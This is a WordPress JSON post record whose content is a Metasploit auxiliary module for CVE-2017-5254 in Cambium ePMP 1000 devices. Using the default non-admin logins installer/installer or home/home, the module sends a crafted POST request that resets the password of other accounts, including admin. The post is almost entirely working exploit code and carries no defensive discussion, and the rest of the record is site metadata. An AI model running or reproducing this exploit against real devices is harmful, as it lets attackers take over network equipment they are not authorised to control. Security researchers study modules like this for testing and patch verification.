{"id":59360,"date":"2024-09-01T20:29:49","date_gmt":"2024-09-01T17:29:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181169\/epmp1000_reset_pass.rb.txt"},"modified":"2024-09-01T20:29:49","modified_gmt":"2024-09-01T17:29:49","slug":"cambium-epmp-1000-account-password-reset","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cambium-epmp-1000-account-password-reset\/","title":{"rendered":"Cambium EPMP 1000 Account Password Reset"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::EPMP<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Cambium ePMP 1000 Account Password Reset&#8217;,<br \/>&#8216;Description&#8217; =&gt; %{<br \/>This module exploits an access control vulnerability in Cambium ePMP<br \/>device management portal. It requires any one of the following non-admin login<br \/>credentials &#8211; installer\/installer, home\/home &#8211; to reset password of other<br \/>existing user(s) including &#8216;admin&#8217;. All versions &lt;=3.5 are affected. This<br \/>module works on versions 3.0-3.5-RC7.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Karn Ganeshen &lt;KarnGaneshen[at]gmail.com&gt;&#8217;<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CVE&#8217;, &#8216;2017-5254&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/2017\/12\/19\/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities\/&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;A specific username to authenticate as&#8217;, &#8216;installer&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;A specific password to authenticate with&#8217;, &#8216;installer&#8217;]),<br \/>OptString.new(&#8216;TARGET_USERNAME&#8217;, [true, &#8216;Target account &#8211; admin \/ installer \/ home \/ readonly&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;NEW_PASSWORD&#8217;, [true, &#8216;New Password for Target account&#8217;, &#8216;pass&#8217;])<br \/>], self.class<br \/>)<\/p>\n<p>deregister_options(&#8216;DB_ALL_CREDS&#8217;, &#8216;DB_ALL_PASS&#8217;, &#8216;DB_ALL_USERS&#8217;, &#8216;USER_AS_PASS&#8217;, &#8216;USERPASS_FILE&#8217;, &#8216;USER_FILE&#8217;, &#8216;PASS_FILE&#8217;, &#8216;BLANK_PASSWORDS&#8217;, &#8216;BRUTEFORCE_SPEED&#8217;, &#8216;STOP_ON_SUCCESS&#8217;)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>unless is_app_epmp1000?<br \/>return<br \/>end<br \/>end<\/p>\n<p># Account Reset happens here<br \/>def reset_pass(config_uri, cookie)<br \/>pass_change_req = &#8216;{&#8220;device_props&#8221;:{&#8220;&#8216; + &#8220;#{datastore[&#8216;TARGET_USERNAME&#8217;]}&#8221; + &#8216;_password&#8217; + &#8216;&#8221;:&#8221;&#8216; + &#8220;#{datastore[&#8216;NEW_PASSWORD&#8217;]}&#8221; + &#8216;&#8221;},&#8221;template_props&#8221;:{&#8220;config_id&#8221;:&#8221;11&#8243;}}&#8217;<\/p>\n<p>print_status(&#8220;#{rhost}:#{rport} &#8211; Changing password for #{datastore[&#8216;TARGET_USERNAME&#8217;]} to #{datastore[&#8216;NEW_PASSWORD&#8217;]}&#8221;)<\/p>\n<p>res = send_request_cgi(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; config_uri,<br \/>&#8216;cookie&#8217; =&gt; cookie,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Accept&#8217; =&gt; &#8216;*\/*&#8217;,<br \/>&#8216;Accept-Language&#8217; =&gt; &#8216;en-US,en;q=0.5&#8217;,<br \/>&#8216;Content-Encoding&#8217; =&gt; &#8216;application\/x-www-form-urlencoded; charset=UTF-8&#8217;,<br \/>&#8216;X-Requested-With&#8217; =&gt; &#8216;XMLHttpRequest&#8217;,<br \/>&#8216;Connection&#8217; =&gt; &#8216;close&#8217;<br \/>},<br \/>&#8216;vars_post&#8217; =&gt;<br \/>{<br \/>&#8216;changed_elements&#8217; =&gt; pass_change_req,<br \/>&#8216;debug&#8217; =&gt; &#8216;0&#8217;<br \/>}<br \/>}, 25<br \/>)<\/p>\n<p>good_response = (<br \/>res &amp;&amp;<br \/>res.code == 200 &amp;&amp;<br \/>res.headers.include?(&#8216;Content-Type&#8217;) &amp;&amp;<br \/>res.headers[&#8216;Content-Type&#8217;].include?(&#8216;application\/json&#8217;)&amp;&amp;<br \/>res.body.include?(&#8216;config_id&#8217;)<br \/>)<\/p>\n<p>if good_response<br \/>print_good(&#8216;Password successfully changed!&#8217;)<br \/>else<br \/>print_error(&#8220;#{rhost}:#{rport} &#8211; Failed to change password.&#8221;)<br \/>end<br \/>end<\/p>\n<p>#<br \/># Login &amp; initiate reset_pass<br \/>#<\/p>\n<p>def do_login(epmp_ver)<br \/>if (epmp_ver &lt; &#8216;3.0&#8217; || epmp_ver &gt; &#8216;3.5&#8217; &amp;&amp; epmp_ver != &#8216;3.5-RC7&#8217;)<br \/>print_error(&#8216;This module is applicable to versions 3.0-3.5-RC7 only. Exiting now.&#8217;)<br \/>return<br \/>elsif (epmp_ver &gt;= &#8216;3.0&#8217; &amp;&amp; epmp_ver &lt; &#8216;3.4.1&#8217;) # &lt;3.4.1 uses login_1<br \/>cookie, _blah1, config_uri_reset_pass, _blah2 = login_1(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;], epmp_ver)<br \/>if cookie == &#8216;skip&#8217; &amp;&amp; config_uri_reset_pass == &#8216;skip&#8217;<br \/>return<br \/>else<br \/>reset_pass(config_uri_reset_pass, cookie)<br \/>end<br \/>elsif [&#8216;3.4.1&#8217;, &#8216;3.5&#8217;, &#8216;3.5-RC7&#8217;].include?(epmp_ver)<br \/>cookie, _blah1, config_uri_reset_pass, _blah2 = login_2(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;], epmp_ver)<br \/>if cookie == &#8216;skip&#8217; &amp;&amp; config_uri_reset_pass == &#8216;skip&#8217;<br \/>return<br \/>else<br \/>reset_pass(config_uri_reset_pass, cookie)<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::EPMP def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Cambium ePMP 1000 Account Password Reset&#8217;,&#8216;Description&#8217; =&gt; %{This module exploits an access control vulnerability in Cambium ePMPdevice management portal. It requires any one of the following non-admin logincredentials &#8211; installer\/installer, home\/home &#8211; to reset password of &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59360","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59360"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59360\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}